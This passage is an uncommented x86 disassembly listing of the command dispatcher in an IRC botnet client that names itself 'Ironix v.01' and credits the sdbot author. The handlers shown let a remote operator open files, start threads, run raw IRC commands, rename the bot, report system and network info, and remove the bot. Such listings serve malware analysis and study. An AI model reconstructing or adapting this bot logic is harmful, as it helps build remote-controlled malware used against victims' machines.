je 0x100032bf
push dword [ebp + edi*4 - 0x80]
push 0x100269d8
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003324
mov edi, dword [ebp - 0x90]
cmp dword [ebp + edi*4 - 0x7c], 0
jne 0x100032de
push str.QUIT_:later_r_n
push dword [ebp + 0xc]
call fcn.10005661
add esp, 8
jmp 0x1000331a
cmp dword [ebp - 0x94], 0
je 0x1000331a
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
je 0x1000331a
push eax
push str.QUIT_:_s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0xc
mov eax, 0xfffffffe
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.status
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003358
push dword [ebp + edi*4 - 0x80]
push 0x100269b6
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003438
call sub.KERNEL32.dll_GetTickCount
mov ecx, 0x3e8
mov edx, 0x10624dd3
mul edx
shr edx, 6
mov dword [ebp - 0x768], edx
mov edi, edx
sub edi, dword [0x10024350]
mov dword [ebp - 0x758], edi
mov eax, edi
mov ecx, 0x15180
mov edx, 0xc22e4507
mul edx
shr edx, 0x10
mov dword [ebp - 0x76c], edx
mov dword [ebp - 0x75c], edx
mov eax, edi
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
mov edx, 0x91a2b3c5
mul edx
shr edx, 0xb
mov dword [ebp - 0x770], edx
mov dword [ebp - 0x760], edx
mov eax, edi
mov ecx, 0x15180
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0xe10
xor edx, edx
div ecx
mov eax, edx
mov ecx, 0x3c
mov edx, 0x88888889
mul edx
shr edx, 5
mov dword [ebp - 0x774], edx
mov edi, edx
mov dword [ebp - 0x764], edi
push edi
push dword [ebp - 0x760]
push dword [ebp - 0x75c]
push str.Ironix_v.01_ready._Up__dd__dh__dm.
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x24
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x10026990
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003468
push dword [ebp + edi*4 - 0x80]
push 0x1002698e
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003486
push dword [ebp - 0x338]
push 0x100260a4
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.about
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100034b6
push dword [ebp + edi*4 - 0x80]
push 0x10026985
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100034d4
push dword [ebp - 0x338]
push str.Ironix_v.01_by__sd___sdbot_mail.ru_._homepage:_http:__sdbot.n3.net_
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.threads
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003504
push dword [ebp + edi*4 - 0x80]
push 0x10026937
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003573
push dword [ebp - 0x338]
push str.__thread_list__
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
xor esi, esi
mov edi, esi
shl edi, 7
cmp byte [edi + 0x1000d04c], 0
je 0x10003568
mov edi, esi
shl edi, 7
lea edi, [edi + 0x1000d04c]
push edi
push esi
push str._d.__s
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x20
inc esi
cmp esi, 0x40
jl 0x1000351f
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.aliases
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100035a3
push dword [ebp + edi*4 - 0x80]
push 0x10026915
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000361c
push dword [ebp - 0x338]
push str.__alias_list__
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
xor esi, esi
imul eax, esi, 0xb8
cmp byte [eax + 0x1000f05c], 0
je 0x10003611
imul eax, esi, 0xb8
lea edx, [eax + 0x1000f074]
push edx
lea eax, [eax + 0x1000f05c]
push eax
push esi
push str._d.__s___s
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x24
inc esi
cmp esi, 0x10
jl 0x100035be
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x100268f6
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000364c
push dword [ebp + edi*4 - 0x80]
push 0x100268f3
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000368c
xor esi, esi
mov edi, esi
shl edi, 7
cmp byte [edi + 0x100200dc], 0
je 0x1000367e
push dword [ebp - 0x338]
mov edi, esi
shl edi, 7
lea edi, [edi + 0x100200dc]
push edi
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
inc esi
cmp esi, 0x80
jl 0x1000364e
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.netinfo
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100036bc
push dword [ebp + edi*4 - 0x80]
push 0x100268e8
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100036e8
push dword [ebp + 0xc]
push dword [ebp + 0x24]
lea eax, [ebp - 0x314]
push eax
call fcn.100064ce
push dword [ebp - 0x338]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x1c
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.sysinfo
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003718
push dword [ebp + edi*4 - 0x80]
push 0x100268dd
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000373e
lea eax, [ebp - 0x314]
push eax
call fcn.100065da
push dword [ebp - 0x338]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x14
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.remove
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000376e
push dword [ebp + edi*4 - 0x80]
push 0x100268d3
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100037a7
cmp dword [ebp - 0x334], 0
jne 0x10003790
push dword [ebp - 0x338]
push str.removing_bot...
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
call pe_dos_header
call sub.wsock32.dll_WSACleanup
push 0
call sub.CRTDLL.DLL_exit
pop ecx
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
cmp dword [ebp + edi*4 - 0x7c], 0
jne 0x100037bc
xor eax, eax
inc eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.nick
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100037ec
push dword [ebp + edi*4 - 0x80]
push 0x100268bc
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000380b
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push str.NICK__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.join
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000383b
push dword [ebp + edi*4 - 0x80]
push 0x100268b5
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000385e
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push dword [ebp + edi*4 - 0x7c]
push str.JOIN__s__s_r_n
push dword [ebp + 0xc]
call fcn.10005711
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.part
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000388e
push dword [ebp + edi*4 - 0x80]
push 0x100268ad
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100038ad
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push str.PART__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x1002689f
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100038dd
push dword [ebp + edi*4 - 0x80]
push 0x10026a09
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003921
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
je 0x1000565c
push eax
push dword [ebp + 0xc]
call fcn.10005661
add esp, 8
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.killthread
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003955
push dword [ebp + edi*4 - 0x80]
push 0x10026892
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003aca
and dword [ebp - 0x758], 0
xor esi, esi
inc esi
jmp 0x10003a7f
mov edi, dword [ebp - 0x90]
add edi, esi
mov edi, dword [ebp + edi*4 - 0x80]
mov ecx, edi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10003975
cmp eax, 3
jae 0x10003a7e
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
add esp, 4
cmp eax, 0x40
jge 0x10003a7e
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
add esp, 4
cmp eax, 0
jle 0x10003a7e
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
add esp, 4
push 0
push dword [eax*4 + 0x1002435c]
call sub.KERNEL32.dll_TerminateThread
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
add esp, 4
cmp dword [eax*4 + 0x1002435c], 0
je 0x10003a09
mov dword [ebp - 0x758], 1
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
and dword [eax*4 + 0x1002435c], 0
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
mov edi, eax
shl edi, 7
mov byte [edi + 0x1000d04c], 0
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
mov edi, eax
shl edi, 4
mov byte [edi + 0x1000fcec], 0
mov edi, dword [ebp - 0x90]
add edi, esi
push dword [ebp + edi*4 - 0x80]
call sub.CRTDLL.DLL_atoi
add esp, 0x10
push dword [eax*4 + 0x1002424c]
call sub.wsock32.dll_closesocket
inc esi
mov edi, dword [ebp - 0x90]
add edi, esi
cmp dword [ebp + edi*4 - 0x80], 0
jne 0x10003964
cmp dword [ebp - 0x334], 0
jne 0x1000565c
cmp dword [ebp - 0x758], 0
je 0x1000565c
push dword [ebp - 0x338]
push str.thread_s__killed.
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.c_quit
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003afe
push dword [ebp + edi*4 - 0x80]
push 0x10026875
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003bac
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
or eax, eax
jle 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp eax, 0x41
jge 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
push str.QUIT_:later
push dword [eax*4 + 0x1002424c]
call fcn.10005661
push 0x1f4
call sub.KERNEL32.dll_Sleep
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
push dword [eax*4 + 0x1002424c]
call sub.wsock32.dll_closesocket
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
push dword [ebp - 0x754]
push dword [eax*4 + 0x1002435c]
call sub.KERNEL32.dll_TerminateThread
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
and dword [eax*4 + 0x1002435c], 0
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
add esp, 0x1c
mov edi, eax
shl edi, 7
mov byte [edi + 0x1000d04c], 0
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.c_rndnick
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003bdc
push dword [ebp + edi*4 - 0x80]
push str.c_rn
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003c4f
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
or eax, eax
jle 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp eax, 0x41
jge 0x1000565c
lea eax, [ebp - 0x8c]
push eax
call fcn.10001d59
push eax
push str.NICK__s
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
lea edi, [ebp - 0x314]
push edi
push dword [eax*4 + 0x1002424c]
call fcn.10005661
add esp, 0x1c
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.prefix
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003c7f
push dword [ebp + edi*4 - 0x80]
push 0x10026854
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003c96
mov edi, dword [ebp - 0x90]
mov edi, dword [ebp + edi*4 - 0x7c]
mov bl, byte [edi]
mov byte [0x10026134], bl
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.open
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003cc6
push dword [ebp + edi*4 - 0x80]
push 0x1002684d
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003d3c
push 5
push 0
push 0
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push str.open
push 0
call sub.SHELL32.DLL_ShellExecuteA
or eax, eax
je 0x10003d11
cmp dword [ebp - 0x334], 0
jne 0x1000565c
push dword [ebp - 0x338]
push str.file_opened.
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
cmp dword [ebp - 0x334], 0
jne 0x1000565c
push dword [ebp - 0x338]
push str.couldnt_open_file.
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.server
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003d6c
push dword [ebp + edi*4 - 0x80]
push 0x10026822
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003d88
push 0x7f
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push dword [ebp + 0x1c]
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x1002681e
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003dbc
push dword [ebp + edi*4 - 0x80]
push 0x1002681b
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003ebd
and dword [ebp - 0x758], 0
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x75c], eax
cmp eax, 0xffffffff
je 0x10003e35
push 2
push 4
lea eax, [ebp - 0x75c]
push eax
call sub.wsock32.dll_gethostbyaddr
mov dword [ebp - 0x758], eax
or eax, eax
je 0x10003e92
push dword [eax]
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push str._s_____s
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x20
jmp 0x10003e92
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 0x758], eax
or eax, eax
je 0x10003e92
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x760], eax
push eax
call sub.wsock32.dll_inet_ntoa
push eax
push dword [ebp + edi*4 - 0x7c]
push str._s_____s
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x20
cmp dword [ebp - 0x758], 0
jne 0x1000565c
push dword [ebp - 0x338]
push str.couldnt_resolve_host
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.visit
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003ef1
push dword [ebp + edi*4 - 0x80]
push 0x100267f4
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003f96
push 0x7f
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
lea edi, [ebp - 0x8e0]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
mov edi, dword [ebp - 0x90]
cmp dword [ebp + edi*4 - 0x78], 0
je 0x10003f34
push 0x7f
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
lea edi, [ebp - 0x860]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
push 0x7f
push dword [ebp - 0x78]
lea eax, [ebp - 0x7e0]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x760], eax
mov eax, dword [ebp - 0x334]
mov dword [ebp - 0x75c], eax
lea eax, [ebp - 0x754]
push eax
push 0
lea eax, [ebp - 0x8e0]
push eax
push 0
push 0
push 0
call sub.KERNEL32.dll_CreateThread
cmp dword [ebp - 0x758], 1
je 0x1000565c
push 0x32
call sub.KERNEL32.dll_Sleep
jmp 0x10003f7b
mov edi, dword [ebp - 0x90]
cmp dword [ebp + edi*4 - 0x78], 0
jne 0x10003fab
xor eax, eax
inc eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.addalias
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003fdb
push dword [ebp + edi*4 - 0x80]
push 0x100267e8
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10004020
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
je 0x1000565c
push eax
push dword [ebp + edi*4 - 0x7c]
call fcn.10001938
add esp, 8
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.privmsg
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10004054
push dword [ebp + edi*4 - 0x80]
push 0x100267dd
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100040ee
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
mov edi, dword [ebp + edi*4 - 0x7c]
mov ecx, edi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10004070
mov edi, eax
mov ebx, dword [ebp - 0x90]
mov ebx, dword [ebp + ebx*4 - 0x80]
lea ecx, [ebx]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10004088
mov ebx, eax
add ebx, dword [ebp - 0x94]
lea edi, [edi + ebx + 2]
mov dword [ebp - 0x94], edi
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 0
je 0x1000565c
push 0
push dword [ebp - 0x758]
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.action
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10004122
push dword [ebp + edi*4 - 0x80]
push 0x100267d4
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100041d7
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
mov edi, dword [ebp + edi*4 - 0x7c]
mov ecx, edi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x1000413e
mov edi, eax
mov ebx, dword [ebp - 0x90]
mov ebx, dword [ebp + ebx*4 - 0x80]
lea ecx, [ebx]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10004156
mov ebx, eax
add ebx, dword [ebp - 0x94]
lea edi, [edi + ebx + 2]
mov dword [ebp - 0x94], edi
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 0
je 0x1000565c
push dword [ebp - 0x758]
push 0x100267c8
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
add esp, 0xc
push 0
lea eax, [ebp - 0x314]
push eax
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.cycle
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10004207
push dword [ebp + edi*4 - 0x80]
push 0x100267bf
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10004270
push dword [ebp - 0x7c]
push 0x10026c06
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10004221
inc eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push str.PART__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
imul edi, eax, 0x3e8
push edi
call sub.KERNEL32.dll_Sleep
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x74]
push dword [ebp + edi*4 - 0x78]
push str.JOIN__s__s_r_n
push dword [ebp + 0xc]
call fcn.10005711
add esp, 0x20
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.mode
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100042a0
push dword [ebp + edi*4 - 0x80]
push 0x100267b8
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100042e9
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
je 0x1000565c
push eax
push str.MODE__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.repeat
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000431d
push dword [ebp + edi*4 - 0x80]
push 0x100267a4
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100043c1
push dword [ebp - 0x7c]
push 0x10026c06
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10004337
inc eax
jmp 0x1000565c
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x758], eax
push eax
push dword [ebp - 0x78]
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push str._s__s__s_:_s
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
push 0x1ff
lea eax, [ebp - 0x314]
push eax
push dword [ebp + 8]
call sub.CRTDLL.DLL_strncpy
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
add esp, 0x30
or eax, eax
jle 0x100043b9
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
mov edi, dword [ebp + 0x2c]
xchg edi, eax
add eax, edi
jmp 0x1000565c
mov eax, dword [ebp + 0x2c]
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.c_raw
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100043f1
push dword [ebp + edi*4 - 0x80]
push 0x1002678d
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000446c
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
je 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
or eax, eax
jle 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp eax, 0x41
jge 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
push dword [ebp - 0x758]
push dword [eax*4 + 0x1002424c]
call fcn.10005661
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.c_mode
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x100044a0
push dword [ebp + edi*4 - 0x80]
push 0x10026782
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10004533
cmp dword [ebp - 0x94], 0
je 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x78]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
je 0x100044e4
push eax
push str.MODE__s
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
add esp, 0xc
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
or eax, eax
jle 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp eax, 0x41
jge 0x1000565c
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
lea edi, [ebp - 0x314]
push edi
push dword [eax*4 + 0x1002424c]
call fcn.10005661
add esp, 0xc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
